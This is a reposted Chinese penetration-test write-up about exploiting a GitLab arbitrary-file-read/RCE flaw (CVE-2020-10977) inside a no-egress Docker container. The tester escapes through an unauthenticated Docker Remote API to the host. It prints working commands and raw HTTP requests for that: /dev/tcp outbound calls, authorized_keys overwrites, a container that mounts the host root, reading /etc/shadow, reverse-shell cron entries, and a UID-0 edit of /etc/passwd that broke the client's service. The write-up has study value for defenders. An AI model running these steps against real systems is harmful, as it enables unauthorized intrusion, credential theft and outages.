记一次失败的不出网GitLab任意文件读取

新闻资讯   2023-06-13 17:42   195   0  

一、前言


一次攻防中,发现目标使用了GitLab系统,然后上网一搜exp,测试了一下,存在CVE-2020-10977任意文件读取漏洞。但是在渗透的途中遇到了许多坑,并且最后也没有成功拿到shell,但感觉中间的踩坑过程还是可以的,所以记录一下。

这个任意文件读取漏洞是可以执行命令的,具体的漏洞信息和漏洞利用就不说了,师傅们感兴趣的可以搜一下,挺多复现的文章。

二、踩坑开始

首先注册了一账号zhangsan,创建了两个项目:aaa和bbb 用来进行任意文件读取

2.1 msf直接打

msf中有集成相关的payload:exploit/multi/http/gitlab_file_read_rce 该模块检测是存在漏洞的,但没有能拿到shell,首先出现了第一个问题「This uer can not create additional projects, please delete some」

经过wireshark抓包,发现是在创建项目时,创建失败。而我自己手动创建项目是可以成功的。这里没有找到是为什么失败。但没关系,MSF中提供了「SECRET_KEY_BASE」选项,我可以通过手工拿到该值,然后直接跳过创建项目这一步,获取shell。

通过手工的任意文件读取,我拿到了「SECRET_KEY_BASE」

但在msf中设置该值之后,依旧没有拿到shell

由此开始了我的踩坑之旅

2.2 开始手工渗透 - 确认存在命令执行

首先先尝试能否执行命令,测试是可以的,执行了whoami>/tmp/whoami

然后利用任意文件读取漏洞下载/tmp/whoami文件,得到当前权限「git」

2.3 判断是否出网

由于没有拿到shell,第一个怀疑是目标机器是不是不出网?

由此我尝试了ping、curl、wget命令,dnslog、自己的vps都无法收到请求

这时其实是有两种可能的:

        • 机器不出网

        • 没有ping、curl、wget命令


所以我就又尝试直接使用whoami >&/dev/tcp/ip/port这种命令。因为前面尝试过whoami命令是可以执行的,而/dev是一个特殊的目录,在下面创建/tcp/ip/port,则会向目标IP和端口发起tcp连接。但很遗憾,经过测试也无法收到whoami的执行结果,说明目标机器确实不出网。

2.4 解决无法执行命令的问题

这个环境很奇怪的一点是:好像除了whoami命令之外,其余所有的命令都不能执行:

        • ls
        • uname
        • ip add
        • id

如果说ping、curl、wget无法执行,还可以说是docker环境,可能没有这些命令,但连ls、uname命令都没有,这就有点说不通了。而且我在自己的环境测试的时候,是可以执行ls、uname命令的。

然后我通过读取/etc/passwd,发现git默认的终端是sh;通过读取/etc/os-release发现系统是Ubuntu 16.04。众所周知,Ubuntu 16.04默认的sh是dash,所以猜测会不会是这个导致的问题?于是我将命令用bash -c进行包裹,但依旧无法执行命令。。。

然后又想到可能是环境变量导致的问题,所以我将他默认的环境变量与用户登录时的环境变量进行了对比

# 正常用户的环境变量
/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin
# 目标机器的环境变量,通过echo $PATH获得
/opt/gitlab/embedded/lib/ruby/gems/2.6.0/bin:/opt/gitlab/bin:/opt/gitlab/embedded/bin:/bin:/usr/bin

发现缺少了很多目录,所以又对执行的命令进行了修改,不仅使用了bash -c包裹,并且在执行命令之前先增加环境变量

bash -c 'PATH=/usr/local/sbin:/usr/local/bin:/sbin:/usr/sbin:/usr/bin:/bin:$PATH; ls -al / > /tmp/zx

终于通过这种方式,我成功执行了ls命令,不容易啊。。。

通过上面的截图,也能看出目标是一个docker环境。。。

又测试了一下,确认没有ifconfig、wget、netstat命令,但curl命令是有的,并且经过测试,机器不出网,但DNS是出网的。


2.5 写入ssh key - 测试环境

由于目标是GitLab,不清楚应该如何去写webshell(ruby on rails),搜索时发现一篇《Gitlab远程代码执行漏洞复现》是通过写入ssh key的方式来获取的shell。而且我扫描目标端口发现也开放了ssh,想着是不是也可以通过这种方式获得权限呢

然后我尝试了那篇文章中的的payload,很遗憾,没有这个漏洞,点击「Import Project」时报错,说我上传的不是GitLab的项目文件

尽管这个漏洞利用不了,但他的写入ssh key获取权限的思路是可以借鉴的(前提是他把docker的ssh端口映射出来了)。然后我就又开始在自己的环境上测试。

GitLab默认的authorized_keys文件位置为/var/opt/gitlab/.ssh/authorized_keys,我首先尝试直接在里面写入公钥,但很遗憾,直接写公钥的方式是连不上的

然后我在自己的环境中增加了个人ssh key

然后尝试测试一下ssh

发现ssh key是可用的,但无法获得bash终端。打开authorized_keys文件,查看文件内容

command="/opt/gitlab/embedded/service/gitlab-shell/bin/gitlab-shell key-1",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDp/4r1B+w3XFjVDiyDcdNeMl7fciTaWoL4KQ9bWvjXH8EMhgojWQd1n6kT35gadA..........

发现在所有的ssh key前面,都增加了command来指定执行什么命令,并且后面跟了一堆设定:no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,就是这些导致无法获得bash终端的。

所以我对authorized_keys的文件内容进行了修改,改为如下内容

command="/bin/bash -i" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDp/4r1B+w3XFjVDiyDcdNeMl7fciTaWoL4KQ9bWvjXH8EMhgojWQd1n6kT35gadA..........

然后再去测试ssh连接,能拿到bash终端了

2.6 目标docker写ssh key

现在有概率可以拿shell了,只要在目标机器的authorized_keys上写入ssh key,并且他把ssh端口映射出来了就行。。。先来加上自己的ssh key

bash -c 'PATH=/usr/local/sbin:/usr/local/bin:/sbin:/usr/sbin:/usr/bin:/bin:$PATH; echo base64编码的ssh-key >> /var/opt/gitlab/.ssh/authorized_keys'

执行完了写入命令之后,发现并没有写入进去,authorized_keys还是原来的内容。

又经过一系列排错,发现是命令太长的缘故,具体允许的长度是多少不太清楚。。。

所以我将写入ssh key的命令分成了四段,分别写入到/tmp/1、/tmp/2、/tmp/3、/tmp/4文件中,最后再将这四个文件合起来

# 后面所有命令都默认加了bash -c包裹,加了环境变量
cat /tmp/1 /tmp/2 /tmp/3 /tmp/4 > /tmp/zx

合起来之后,下载一下/tmp/zx文件,看看是否正确,确认无误再将/tmp/zx文件内容追加到/var/opt/gitlab/.ssh/authorized_keys文件后面

cat /tmp/zx >> /var/opt/gitlab/.ssh/authorized_keys

但发现依旧没有成功执行,authorized_keys还是原来的内容

后来又经过测试,发现可以使用>进行输出重定向,但不能使用>>进行追加。。。还有,需要先将authorized_keys复制到/tmp目录下,然后合并之后再放回去。。。

cat /var/opt/gitlab/.ssh/authorized_keys > /tmp/zz
cat /tmp/zz /tmp/zx > /tmp/keys
cp /tmp/keys /var/opt/gitlab/.ssh/keys
mv /var/opt/gitlab/.ssh/keys /var/opt/gitlab/.ssh/authorized_keys
chmod 600 /var/opt/gitlab/.ssh/authorized_keys

这样执行完后,我的ssh key已经成功写入到authorized_keys文件中了。。。然后我迫不及待的掏出了ssh私钥准备进行连接。。。

结果他告诉我需要密码。。。然后我又将authorized_keys文件恢复成原来的样子,然后在个人设置中增加了自己的另外一个公钥,使用ssh命令进行测试

结果还是需要密码。。。行吧,两种可能:

  1. 环境配置有问题,不能使用git clone命令,所以也就不能ssh登录。。。

  2. 我连接的22端口根本不是这个docker的ssh服务。。。

2.7 docker Remote API未授权 - 第一次作死

不死心的我又想到了这是一个docker容器,可能会有docker逃逸。docker逃逸最简单的就是docker Remote API未授权了,如果目标机器开放了2375端口,那我就可以通过2375端口操控宿主机了,所以我又接着使用curl命令去请求172.19.0.1:2375

curl http://172.19.0.1:2375/version

成功得到了版本信息,居然真的存在。。。

{"Platform":{"Name":""},"Components":[{"Name":"Engine","Version":"18.06.3-ce","Details":{"ApiVersion":"1.38","Arch":"amd64","BuildTime":"2019-02-20T02:25:33.000000000+00:00","Experimental":"false","GitCommit":"d7080c1","GoVersion":"go1.10.3","KernelVersion":"3.10.0-693.el7.x86_64","MinAPIVersion":"1.12","Os":"linux"}}],"Version":"18.06.3-ce","ApiVersion":"1.38","MinAPIVersion":"1.12","GitCommit":"d7080c1","GoVersion":"go1.10.3","Os":"linux","Arch":"amd64","KernelVersion":"3.10.0-693.el7.x86_64","BuildTime":"2019-02-20T02:25:33.000000000+00:00"}

有了这个之后,我就可以拿到这个Docker容器的root权限,我还可以在创建一个docker容器,然后挂载宿主机的根目录,写入ssh key和计划任务。。。

首先我去获取了所有的容器信息

curl http://172.19.0.1:2375/containers/json -o /tmp/zx

结果只有这一个GitLab容器,这个容器把22、8000、443端口分别映射为2222、8000、8443端口

[
{
"Id": "29966ead1dcdbexxxxxxxxxxxxxxx",
"Names": [
"/gitlab"
],
"Image": "xxxxxxxx/commons/gitlab-ce:12.4.1-ce.0",
"ImageID": "sha256:6d75d1ad2f820e4858847353b01869c420bcdd8c0f4e1a3960db7b8781cc237b",
"Command": "/assets/wrapper",
"Created": 1574672284,
"Ports": [
{
"IP": "0.0.0.0",
"PrivatePort": 22,
"PublicPort": 2222,
"Type": "tcp"
},
{
"IP": "0.0.0.0",
"PrivatePort": 443,
"PublicPort": 8443,
"Type": "tcp"
},
{
"PrivatePort": 80,
"Type": "tcp"
},
{
"IP": "0.0.0.0",
"PrivatePort": 8000,
"PublicPort": 8000,
"Type": "tcp"
}
],
"Labels": {},
"State": "running",
"Status": "Up 6 months (healthy)",
"HostConfig": {
"NetworkMode": "gitlab-net"
},
"NetworkSettings": {
"Networks": {
………………
}
},
"Mounts": [
………………
]
}
]

然后我在自己的测试环境中尝试使用docker Remote API在容器中执行命令。docker Remote API需要先向/containers/container-id/exec发起请求,然后根据响应的ID值,再向/exec/exec-id/start发起请求,这个命令才会成功执行。payload来自《初识Docker逃逸》

POST /containers/containers-id/exec HTTP/1.1
Host: 192.168.85.131:2375
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 181

{
"AttachStdin": true,
"AttachStdout": true,
"AttachStderr": true,
"Cmd": ["cat","/etc/shadow"],
"DetachKeys": "ctrl-p,ctrl-q",
"Privileged": true,
"Tty": true
}
POST /exec/exec-id/start HTTP/1.1
Host: 192.168.85.131:2375
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 38

{
"Detach": false,
"Tty": false
}

在这里会遇到另外一个坑:实际上每次通过发送cookie执行命令,这个命令都会执行5、6次,而/exec/exec-id/start这个接口每个ID仅允许请求一次,如果请求多次就会出现下图中的样子

而且由于命令执行是没有回显的,每次只能使用重定向符号>输出到一个文件中,甚至不能使用追加>>符号,这样就会导致每次执行完之后我也不知道执行的结果是什么,都会被这个报错覆盖掉。所以我就增加了一个判断,判断输出的文件中是否包含「already」词语,不包含的话就复制到real文件中,如果包含的话就不复制

# --connect-timeout用于设置curl超时时间,由于本地测试环境并不存在这个IP,每次都会等待好久,所以增加这个超时限制
curl http://172.19.0.1:2375/exec/exec-id/start -X POST --connect-timeout 2 -H "Content-Type: application/json" -d '{"Detach":false,"Tty":true}' -o /tmp/error4; cat /tmp/error4 | grep -v already && cp /tmp/error4 /tmp/real4

这样就能知道命令执行的结果了

然后我就开始作死了,想着当前权限是比较低的git,我想提升为root权限,低权限用户操作起来不方便。

我在自己的测试环境中尝试过,/etc/passwd文件中把一个低权限用户的UID改为0就能变成root用户,所以我就通过docker Remote API执行sed命令,把git用户的UID(原本是998)改成了0

sed -i 's/998/0/g' /etc/passwd

我改完之后,GitLab服务就直接500了

然后和客户说了一声,让客户帮忙修一下………………

2.8 docker Remote API 宿主机写ssh key、反弹shell

第二天,服务就正常了。我在这服务异常的时间里想过后面应该怎么继续搞:

  • 创建一个新的容器,将宿主机的根目录/挂载到/mnt目录下

  • 在新的容器的/mnt/root/.ssh/authorized_keys中写入我自己的ssh key

  • 在新的容器挂载的计划任务目录中写入反弹shell的命令

  • ………………

然后我就开始继续了,首先是要创建新的容器。但我在网上搜遍了文章,也没找到创建新容器的对应的接口和参数,但是有创建新容器的命令

docker -H tcp://x.x.x.x:2375 run -it -v /:/mnt image-name

所以我就在自己的虚拟机上搭建了docker,并启用了Remote API。然后使用WireShark开启抓包,再执行上面的命令,这样就抓到了创建新容器的接口和参数(当时没有截wireshark的图),也是需要发送两个包,一个/containers/create,然后根据返回的id访问/containers/container-id/start

POST /containers/create HTTP/1.1
Host: 192.168.85.131:2375
User-Agent: Docker-Client/20.10.9 (linux)
Content-Length: 1538
Content-Type: application/json

{"Hostname":"","Domainname":"","User":"","AttachStdin":true,"AttachStdout":true,"AttachStderr":true,"Tty":true,"OpenStdin":true,"StdinOnce":true,"Env":null,"Cmd":null,"Image":"school","Volumes":{},"WorkingDir":"","Entrypoint":null,"OnBuild":null,"Labels":{},"HostConfig":{"Binds":["/:/mnt"],"ContainerIDFile":"","LogConfig":{"Type":"","Config":{}},"NetworkMode":"default","PortBindings":{},"RestartPolicy":{"Name":"no","MaximumRetryCount":0},"AutoRemove":false,"VolumeDriver":"","VolumesFrom":null,"CapAdd":null,"CapDrop":null,"CgroupnsMode":"","Dns":[],"DnsOptions":[],"DnsSearch":[],"ExtraHosts":null,"GroupAdd":null,"IpcMode":"","Cgroup":"","Links":null,"OomScoreAdj":0,"PidMode":"","Privileged":false,"PublishAllPorts":false,"ReadonlyRootfs":false,"SecurityOpt":null,"UTSMode":"","UsernsMode":"","ShmSize":0,"ConsoleSize":[0,0],"Isolation":"","CpuShares":0,"Memory":0,"NanoCpus":0,"CgroupParent":"","BlkioWeight":0,"BlkioWeightDevice":[],"BlkioDeviceReadBps":null,"BlkioDeviceWriteBps":null,"BlkioDeviceReadIOps":null,"BlkioDeviceWriteIOps":null,"CpuPeriod":0,"CpuQuota":0,"CpuRealtimePeriod":0,"CpuRealtimeRuntime":0,"CpusetCpus":"","CpusetMems":"","Devices":[],"DeviceCgroupRules":null,"DeviceRequests":null,"KernelMemory":0,"KernelMemoryTCP":0,"MemoryReservation":0,"MemorySwap":0,"MemorySwappiness":-1,"OomKillDisable":false,"PidsLimit":0,"Ulimits":null,"CpuCount":0,"CpuPercent":0,"IOMaximumIOps":0,"IOMaximumBandwidth":0,"MaskedPaths":null,"ReadonlyPaths":null},"NetworkingConfig":{"EndpointsConfig":{}},"Platform":null}
POST /containers/container-id/start HTTP/1.1
Host: 192.168.85.131:2375
User-Agent: Docker-Client/20.10.9 (linux)
Content-Length: 0
Content-Type: text/plain

这样两个请求使用curl命令发过去之后,就成功创建了挂载宿主机根目录的docker容器。

然后我就可以翻/mnt挂载目录下的文件内容了,但在本地测试中,上面使用的执行命令的payload无法得到/mnt下的所有内容,其他目录全都正常(如下图,执行了ls -al /mnt/root命令)

返回的结果却是目录不存在

然后我在本地测试了几次,发现将请求改成如下内容就可以了(版本号可写可不写)

POST /containers/d100254b1ff1/exec HTTP/1.1
Host: 192.168.85.131:2375
User-Agent: Docker-Client/20.10.7 (darwin)
Content-Length: 183
Connection: Upgrade
Content-Type: application/json
Upgrade: tcp

{"User":"","Privileged":false,"Tty":true,"AttachStdin":true,"AttachStderr":true,"AttachStdout":true,"Detach":false,"DetachKeys":"","Env":null,"WorkingDir":"","Cmd":["ls","/mnt/root"]}

然后我在目标机器上读取了一些/etc/os-release、/etc/shadow等文件的内容,又把自己的ssh key通过写入docker Remote API到了/mnt/root/.ssh/authorized_keys文件中,把反弹shell的命令写入到了/mnt/var/spool/cron/root文件中(中间过程极其繁琐,需要先根据操作整理成curl命令,由于命令过长并且还有多个单双引号出现需要转义等情况,都是先进行base64编码,分段写入之后再拼接解码,确认无误之后才能执行,所以不细说了。。。)

我ssh key也写好了,计划任务也写好了,却一个有用的都没有。。。

  • 公网IP上的ssh服务原来根本不是这个机器的ssh,我写进去了也没用

  • 宿主机也是不出网的,反弹shell无效

好像这个机器到这里就停住了,虽然我也可以在目标机器上通过Remote API写入计划任务来执行任意命令,但太过繁琐,似乎没有办法能拿到shell了。。。


2.9 第二次作死

吃饭的时候我又想,我ssh key已经写进去了,如果能够给我一个ssh服务,不就拿到shell了,再用一个ssh端口转发,代理不就也有了么。。。

所以我就想着,要不干脆把GitLab容器关掉,把ssh服务的端口改成8000(GitLab的web端口是8000),这样不就能直接连进去了么。。。

说干就干,然后我先使用sed命令替换了ssh配置文件,将端口号改成了8000。

sed -i 's/22/8000/g' /mnt/etc/ssh/sshd_config

然后在计划任务文件里面写入了下面的命令。。。

* * * * * docker stop GitLab-id && systemctl restart sshd

然后等待一分钟,我先拿nmap扫了一下这个端口

他居然真的变成ssh服务了,然后我激动的拿出了ssh key进行连接

这是为什么?上网搜了一下报错原因

  • MaxSessions 最大session连接数量太低

  • MaxStartups 最大并发验证数量太低

  • 没有监听在0.0.0.0上

  • 在负载均衡器内部进行了端口转换,这意味着ssh连接是通过web到达主机的22

  • 没有在/etc/hosts.allow中配置sshd: ALL

然后我增加了-v参数,进行debug

看上面的截图,应该是第四个原因,好像是有nginx反代?。。。

再来看一眼浏览器中的效果图

我成功的在web页面上显示了ssh的Banner。。。T_T

三、后记

又让客户帮忙修了一下。。。负责人让我不要再搞这个系统了T_T。。。我也不敢再弄什么了。。。其实还是有一点点小思路的,比如查看一下宿主机上有没有php、java,把php web的端口放到8000上,应该就可以了。。。

最后问了问公司的大师傅有没有什么好的解决办法,大师傅给了几条路:

  1. 上传DNS隧道工具,但由于执行命令有长度限制,需要分段,太麻烦了,pass;


  2. 利用viper图形化的msf工具,支持dns上线。但我试了一下,发现只有windows支持dns reverse上线,Linux并不支持,pass;


  3. GitLab命令执行的本质上是ruby代码执行,自己写一个ruby的HTTP代理,然后分段传上去,再import。。。由于不会ruby,自己本地搭ruby on rails环境一堆报错,而且还需要自己实现http代理,时间不够了,放弃;

最后只能到这儿,可以在宿主机上利用计划任务执行命令,但太过繁琐了。。。师傅们如果有ruby的webshell或者ruby的http tunnel的方法,还望不吝赐教



原文链接:


https://www.t00ls.com/articles-63169.html

文章引用微信公众号"T00ls安全",如有侵权,请联系管理员删除!

博客评论
还没有人评论,赶紧抢个沙发~
发表评论
说明:请文明发言,共建和谐网络,您的个人信息不会被公开显示。